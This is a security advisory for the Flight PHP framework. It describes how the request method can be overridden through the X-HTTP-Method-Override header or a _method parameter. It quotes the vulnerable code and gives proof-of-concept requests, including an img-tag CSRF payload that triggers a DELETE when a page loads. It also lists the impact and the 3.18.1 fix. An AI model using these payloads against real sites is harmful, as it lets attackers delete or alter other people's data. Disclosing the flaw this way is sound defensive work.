Summary

Request::getMethod() unconditionally honors the X-HTTP-Method-Override header and the $_REQUEST['_method'] parameter on any HTTP verb (including safe verbs such as GET), with no opt-in and no whitelist of permitted target methods. A GET request can silently become a DELETE or PUT, enabling CSRF escalation against destructive endpoints, bypass of middleware gated on unsafe verbs, and cache poisoning between CDN and origin.

Affected code

flight/net/Request.php (≈ lines 281-292):

public static function getMethod(): string
{
    $method = self::getVar('REQUEST_METHOD', 'GET');
    if (self::getVar('HTTP_X_HTTP_METHOD_OVERRIDE') !== '') {
        $method = self::getVar('HTTP_X_HTTP_METHOD_OVERRIDE');
    } elseif (isset($_REQUEST['_method']) === true) {
        $method = $_REQUEST['_method'];
    }
    return strtoupper($method);
}

$_REQUEST aggregates $_GET and $_POST; on PHP runtimes with request_order=GPC it also includes $_COOKIE.

Proof of concept

GET /item/42?_method=DELETE        HTTP/1.1

is dispatched as DELETE /item/42.

GET /item/42                       HTTP/1.1
X-HTTP-Method-Override: DELETE

is also dispatched as DELETE /item/42.

Trivial CSRF vector (no JavaScript required):

<img src="https://victim.tld/item/42?_method=DELETE">

loaded on any attacker-controlled page triggers the destructive DELETE on page load, bypassing Same-Origin Policy (image loads are not blocked).

Reproduced against /poc4/item/42.

Impact

• GET → DELETE / PUT CSRF on any route registered for unsafe verbs.
• Bypass of authentication, CSRF token, or rate-limiting middleware that is gated only on POST/DELETE.
• CDN cache poisoning: the CDN caches the GET response body while the origin executed a DELETE.

Patch (fixed in 3.18.1, commit b8dd23a)

A new flight.allow_method_override setting controls both override vectors. Operators can set it to false to disable X-HTTP-Method-Override and _method entirely.

Credit

Discovered by @Rootingg.